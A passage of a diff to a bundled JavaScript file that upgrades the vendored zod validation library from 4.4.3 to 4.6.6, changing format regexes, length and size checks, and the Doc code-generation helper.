@__PURE__ */ _decodeAsync($ZodRealError); var _safeEncode = (_Err) => (schema, value, _ctx) => { @@ -90337,9 +90725,10 @@ var _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => { }; var safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync($ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/regexes.js var regexes_exports = {}; __export(regexes_exports, { + anyString: () => anyString, base64: () => base64, base64url: () => base64url, bigint: () => bigint, @@ -90347,8 +90736,10 @@ __export(regexes_exports, { browserEmail: () => browserEmail, cidrv4: () => cidrv4, cidrv6: () => cidrv6, + creditCard: () => creditCard, cuid: () => cuid, cuid2: () => cuid2, + currencyCode: () => currencyCode, date: () => date, datetime: () => datetime, domain: () => domain, @@ -90362,6 +90753,7 @@ __export(regexes_exports, { hostname: () => hostname, html5Email: () => html5Email, httpProtocol: () => httpProtocol, + iban: () => iban, idnEmail: () => idnEmail, integer: () => integer, ipv4: () => ipv4, @@ -90373,6 +90765,7 @@ __export(regexes_exports, { md5_base64url: () => md5_base64url, md5_hex: () => md5_hex, nanoid: () => nanoid, + nanoidOfLength: () => nanoidOfLength, null: () => _null, number: () => number, rfc5322Email: () => rfc5322Email, @@ -90402,10 +90795,13 @@ __export(regexes_exports, { }); var cuid = /^[cC][0-9a-z]{6,}$/; var cuid2 = /^[0-9a-z]+$/; -var ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/; +var ulid = /^[0-7][0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{25}$/; var xid = /^[0-9a-vA-V]{20}$/; var ksuid = /^[A-Za-z0-9]{27}$/; var nanoid = /^[a-zA-Z0-9_-]{21}$/; +function nanoidOfLength(length) { + return new RegExp(`^[a-zA-Z0-9_-]{${length}}$`); +} var duration = /^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/; var extendedDuration = /^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/; var guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/; @@ -90417,13 +90813,13 @@ var uuid = (version4) => { var uuid4 = /* @__PURE__ */ uuid(4); var uuid6 = /* @__PURE__ */ uuid(6); var uuid7 = /* @__PURE__ */ uuid(7); -var email = /^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; +var email = /^(?:[A-Za-z0-9_'+\-]+\.)*[A-Za-z0-9_'+\-]*[A-Za-z0-9_+-]@(?:[A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; var html5Email = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; var rfc5322Email = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; var unicodeEmail = /^[^\s@"]{1,64}@[^\s@]{1,255}$/u; var idnEmail = unicodeEmail; var browserEmail = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; -var _emoji = `^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$`; +var _emoji = `^(?=[\\s\\S]*[\\p{Extended_Pictographic}\\p{Regional_Indicator}\\u20E3])[\\p{Extended_Pictographic}\\p{Emoji_Component}]+$`; function emoji() { return new RegExp(_emoji, "u"); } @@ -90434,33 +90830,38 @@ var mac = (delimiter) => { return new RegExp(`^(?:[0-9A-F]{2}${escapedDelim}){5}[0-9A-F]{2}$|^(?:[0-9a-f]{2}${escapedDelim}){5}[0-9a-f]{2}$`); }; var cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/; -var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; +var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; var base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/; -var base64url = /^[A-Za-z0-9_-]*$/; +var base64url = /^(?:[A-Za-z0-9_-]{4})*(?:[A-Za-z0-9_-]{2,3})?$/; var hostname = /^(?=.{1,253}\.?$)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[-0-9a-zA-Z]{0,61}[0-9a-zA-Z])?)*\.?$/; -var domain = /^([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$/; +var domain = /^(?=.{1,253}$)([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,63}$/; var httpProtocol = /^https?$/; var e164 = /^\+[1-9]\d{6,14}$/; +var creditCard = /^\d(?:[ -]?\d){11,18}$/; +var currencyCode = /^(?:AED|AFN|ALL|AMD|AOA|ARS|AUD|AWG|AZN|BAM|BBD|BDT|BHD|BIF|BMD|BND|BOB|BOV|BRL|BSD|BTN|BWP|BYN|BZD|CAD|CDF|CHE|CHF|CHW|CLF|CLP|CNY|COP|COU|CRC|CUP|CVE|CZK|DJF|DKK|DOP|DZD|EGP|ERN|ETB|EUR|FJD|FKP|GBP|GEL|GHS|GIP|GMD|GNF|GTQ|GYD|HKD|HNL|HTG|HUF|IDR|ILS|INR|IQD|IRR|ISK|JMD|JOD|JPY|KES|KGS|KHR|KMF|KPW|KRW|KWD|KYD|KZT|LAK|LBP|LKR|LRD|LSL|LYD|MAD|MDL|MGA|MKD|MMK|MNT|MOP|MRU|MUR|MVR|MWK|MXN|MXV|MYR|MZN|NAD|NGN|NIO|NOK|NPR|NZD|OMR|PAB|PEN|PGK|PHP|PKR|PLN|PYG|QAR|RON|RSD|RUB|RWF|SAR|SBD|SCR|SDG|SEK|SGD|SHP|SLE|SOS|SRD|SSP|STN|SVC|SYP|SZL|THB|TJS|TMT|TND|TOP|TRY|TTD|TWD|TZS|UAH|UGX|USD|USN|UYI|UYU|UYW|UZS|VED|VES|VND|VUV|WST|XAD|XAF|XAG|XAU|XBA|XBB|XBC|XBD|XCD|XCG|XDR|XOF|XPD|XPF|XPT|XSU|XTS|XUA|XXX|YER|ZAR|ZMW|ZWG)$/; +var iban = /^[A-Z]{2}(?!00|01|99)\d{2}[A-Z0-9]{11,30}$/; var dateSource = `(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))`; -var date = /* @__PURE__ */ new RegExp(`^${dateSource}$`); +function anchor(source) { + return new RegExp(`^${source}$`); +} +var date = /* @__PURE__ */ anchor(dateSource); function timeSource(args) { const hhmm = `(?:[01]\\d|2[0-3]):[0-5]\\d`; - const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; + const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : args.seconds ? `${hhmm}:[0-5]\\d(?:\\.\\d+)?` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; return regex; } function time(args) { return new RegExp(`^${timeSource(args)}$`); } function datetime(args) { - const time4 = timeSource({ precision: args.precision }); const opts = ["Z"]; - if (args.local) - opts.push(""); if (args.offset) opts.push(`([+-](?:[01]\\d|2[0-3]):[0-5]\\d)`); - const timeRegex = `${time4}(?:${opts.join("|")})`; + const qualified = `${timeSource({ precision: args.precision, seconds: true })}(?:${opts.join("|")})`; + const timeRegex = args.local ? `${qualified}|${timeSource({ precision: args.precision })}` : qualified; return new RegExp(`^${dateSource}T(?:${timeRegex})$`); } +var anyString = /^[\s\S]{0,}$/; var string = (params) => { const regex = params ? `[\\s\\S]{${params?.minimum ?? 0},${params?.maximum ?? ""}}` : `[\\s\\S]*`; return new RegExp(`^${regex}$`); @@ -90496,13 +90897,21 @@ var sha512_hex = /^[0-9a-fA-F]{128}$/; var sha512_base64 = /* @__PURE__ */ fixedBase64(86, "=="); var sha512_base64url = /* @__PURE__ */ fixedBase64url(86); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/checks.js var $ZodCheck = /* @__PURE__ */ $constructor("$ZodCheck", (inst, def) => { var _a3; inst._zod ?? (inst._zod = {}); inst._zod.def = def; (_a3 = inst._zod).onattach ?? (_a3.onattach = []); }); +var _whenHasSize = (payload) => { + const val = payload.value; + return !nullish(val) && val.size !== void 0; +}; +var _whenHasLength = (payload) => { + const val = payload.value; + return !nullish(val) && val.length !== void 0; +}; var numericOriginMap = { number: "number", bigint: "bigint", @@ -90511,22 +90920,12 @@ var numericOriginMap = { var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.maximum : bag.exclusiveMaximum) ?? Number.POSITIVE_INFINITY; - if (def.value < curr) { - if (def.inclusive) - bag.maximum = def.value; - else - bag.exclusiveMaximum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value <= def.value : payload.value < def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_big", maximum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -90539,22 +90938,12 @@ var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.minimum : bag.exclusiveMinimum) ?? Number.NEGATIVE_INFINITY; - if (def.value > curr) { - if (def.inclusive) - bag.minimum = def.value; - else - bag.exclusiveMinimum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value >= def.value : payload.value > def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_small", minimum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -90566,14 +90955,13 @@ var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", }); var $ZodCheckMultipleOf = /* @__PURE__ */ $constructor("$ZodCheckMultipleOf", (inst, def) => { $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - var _a3; - (_a3 = inst2._zod.bag).multipleOf ?? (_a3.multipleOf = def.value); - }); inst._zod.check = (payload) => { if (typeof payload.value !== typeof def.value) throw new Error("Cannot mix number and bigint in multiple_of check."); - const isMultiple = typeof payload.value === "bigint" ? payload.value % def.value === BigInt(0) : floatSafeRemainder(payload.value, def.value) === 0; + const isMultiple = typeof payload.value === "bigint" ? ( + // `value % 0n` throws, and nothing is a multiple of zero — the number branch already fails this way via NaN + def.value !== BigInt(0) && payload.value % def.value === BigInt(0) + ) : floatSafeRemainder(payload.value, def.value) === 0; if (isMultiple) return; payload.issues.push({ @@ -90592,32 +90980,24 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" const isInt = def.format?.includes("int"); const origin = isInt ? "int" : "number"; const [minimum, maximum] = NUMBER_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - if (isInt) - bag.pattern = integer; - }); inst._zod.check = (payload) => { - const input = payload.value; + const input2 = payload.value; if (isInt) { - if (!Number.isInteger(input)) { + if (!Number.isInteger(input2)) { payload.issues.push({ expected: origin, format: def.format, code: "invalid_type", continue: false, - input, + input: input2, inst }); return; } - if (!Number.isSafeInteger(input)) { - if (input > 0) { + if (!Number.isSafeInteger(input2)) { + if (input2 > 0) { payload.issues.push({ - input, + input: input2, code: "too_big", maximum: Number.MAX_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -90628,7 +91008,7 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" }); } else { payload.issues.push({ - input, + input: input2, code: "too_small", minimum: Number.MIN_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -90641,10 +91021,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" return; } } - if (input < minimum) { + if (input2 < minimum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -90652,10 +91032,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -90668,18 +91048,12 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat", (inst, def) => { $ZodCheck.init(inst, def); const [minimum, maximum] = BIGINT_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - }); inst._zod.check = (payload) => { - const input = payload.value; - if (input < minimum) { + const input2 = payload.value; + if (input2 < minimum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -90687,10 +91061,10 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -90703,26 +91077,18 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size3 = input.size; + const input2 = payload.value; + const size3 = input2.size; if (size3 <= def.maximum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -90731,26 +91097,18 @@ var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, d var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size3 = input.size; + const input2 = payload.value; + const size3 = input2.size; if (size3 >= def.minimum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -90759,24 +91117,15 @@ var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, d var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.size; - bag.maximum = def.size; - bag.size = def.size; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size3 = input.size; + const input2 = payload.value; + const size3 = input2.size; if (size3 === def.size) return; const tooBig = size3 > def.size; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), ...tooBig ? { code: "too_big", maximum: def.size } : { code: "too_small", minimum: def.size }, inclusive: true, exact: true, @@ -90789,27 +91138,20 @@ var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (i var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units > def.maximum ? codePointLength(input2) : units; if (length <= def.maximum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -90818,27 +91160,20 @@ var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (ins var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.minimum && units < def.minimum * 2 ? codePointLength(input2) : units; if (length >= def.minimum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -90847,22 +91182,14 @@ var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (ins var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.length; - bag.maximum = def.length; - bag.length = def.length; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.length && units <= def.length * 2 ? codePointLength(input2) : units; if (length === def.length) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); const tooBig = length > def.length; payload.issues.push({ origin, @@ -90878,14 +91205,6 @@ var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals" var $ZodCheckStringFormat = /* @__PURE__ */ $constructor("$ZodCheckStringFormat", (inst, def) => { var _a3, _b; $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - if (def.pattern) { - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(def.pattern); - } - }); if (def.pattern) (_a3 = inst._zod).check ?? (_a3.check = (payload) => { def.pattern.lastIndex = 0; @@ -90933,13 +91252,8 @@ var $ZodCheckUpperCase = /* @__PURE__ */ $constructor("$ZodCheckUpperCase", (ins var $ZodCheckIncludes = /* @__PURE__ */ $constructor("$ZodCheckIncludes", (inst, def) => { $ZodCheck.init(inst, def); const escapedRegex = escapeRegex(def.includes); - const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position}}${escapedRegex}` : escapedRegex); + const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position},}${escapedRegex}` : escapedRegex); def.pattern = pattern; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.includes(def.includes, def.position)) return; @@ -90958,11 +91272,6 @@ var $ZodCheckStartsWith = /* @__PURE__ */ $constructor("$ZodCheckStartsWith", (i $ZodCheck.init(inst, def); const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.startsWith(def.prefix)) return; @@ -90981,11 +91290,6 @@ var $ZodCheckEndsWith = /* @__PURE__ */ $constructor("$ZodCheckEndsWith", (inst, $ZodCheck.init(inst, def); const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.endsWith(def.suffix)) return; @@ -91019,12 +91323,37 @@ var $ZodCheckProperty = /* @__PURE__ */ $constructor("$ZodCheckProperty", (inst, return; }; }); +var $ZodCheckProperties = /* @__PURE__ */ $constructor("$ZodCheckProperties", (inst, def) => { + $ZodCheck.init(inst, def); + hide(inst, Symbol.iterator, function* () { + yield inst; + }); + let entries; + inst._zod.check = (payload) => { + if (payload.value == null) { + payload.issues.push({ expected: "object", code: "invalid_type", input: payload.value, inst }); + return void 0; + } + entries ?? (entries = Reflect.ownKeys(def.shape).map((key) => [key, def.shape[key]])); + const input2 = payload.value; + let proms; + for (const [key, schema] of entries) { + const result2 = schema._zod.run({ value: input2[key], issues: [] }, {}); + if (result2 instanceof Promise) { + proms ?? (proms = []); + proms.push(result2.then((result3) => handleCheckPropertyResult(result3, payload, key))); + } else { + handleCheckPropertyResult(result2, payload, key); + } + } + if (proms) + return Promise.all(proms).then(() => void 0); + return void 0; + }; +}); var $ZodCheckMimeType = /* @__PURE__ */ $constructor("$ZodCheckMimeType", (inst, def) => { $ZodCheck.init(inst, def); const mimeSet = new Set(def.mime); - inst._zod.onattach.push((inst2) => { - inst2._zod.bag.mime = def.mime; - }); inst._zod.check = (payload) => { if (mimeSet.has(payload.value.type)) return; @@ -91044,18 +91373,22 @@ var $ZodCheckOverwrite = /* @__PURE__ */ $constructor("$ZodCheckOverwrite", (ins }; }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/doc.js var Doc = class { - constructor(args = []) { + constructor(args = [], closed = {}) { this.content = []; this.indent = 0; - if (this) - this.args = args; + this.args = args; + this.closed = closed; } + // the compiler catches a child's throw and keeps writing into this doc, so the indent has to unwind with it indented(fn) { this.indent += 1; - fn(this); - this.indent -= 1; + try { + fn(this); + } finally { + this.indent -= 1; + } } write(arg) { if (typeof arg === "function") { @@ -91073,31 +91406,30 @@ var Doc = class { } compile() { const F = Function; - const args = this?.args; const content = this?.content ?? [``]; - const lines = [...content.map((x) => ` ${x}`)]; - return new F(...args, lines.join("\n")); + const factory = new F(...Object.keys(this.closed), `return function (${this.args.join(", ")}) { +${content.join("\n")} +};`); + return factory(...Object.values(this.closed)); } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/versions.js var version = { major: 4, - minor: 4, - patch: 3 + minor: 6, + patch: 6 }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/schemas.js var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { var _a3; inst ?? (inst = {}); inst._zod.def = def; inst._zod.bag = inst._zod.bag || {}; inst._zod.version = version; - const checks = [...inst._zod.def.checks ?? []]; - if (inst._zod.traits.has("$ZodCheck")) { - checks.unshift(inst); - } + const defChecks = inst._zod.def.checks; + const checks = inst._zod.traits.has("$ZodCheck") ? [inst, ...defChecks ?? []] : defChecks?.length ? [...defChecks] : []; for (const ch of checks) { for (const fn of ch._zod.onattach) { fn(inst); @@ -91110,6 +91442,8 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { }); } else { const runChecks = (payload, checks2, ctx) => { + if (payload.memo) + return payload; let isAborted = aborted(payload); let asyncResult; for (const ch of checks2) { @@ -91133,6 +91467,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) return; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); }); @@ -91140,6 +91475,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) continue; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); } @@ -91186,22 +91522,39 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { return runChecks(result2, checks, ctx); }; } - defineLazy(inst, "~standard", () => ({ +}, { + // Wrappers extend this by installing a richer factory over it; reading it eagerly would defeat the laziness. + get "~standard"() { + return hide(this, "~standard", standardProps(this)); + }, + set "~standard"(value) { + own(this, "~standard", value); + } +}); +var toStandardResult = (r, ctx) => r.issues.length ? { issues: r.issues.map((iss) => finalizeIssue(iss, ctx, config())) } : { value: r.value }; +async function validateAsync2(inst, value) { + const ctx = { async: true }; + return toStandardResult(await inst._zod.run({ value, issues: [] }, ctx), ctx); +} +function standardProps(inst) { + return { validate: (value) => { + const ctx = { async: false }; try { - const r = safeParse(inst, value); - return r.success ? { value: r.data } : { issues: r.error?.issues }; + const r = inst._zod.run({ value, issues: [] }, ctx); + if (!(r 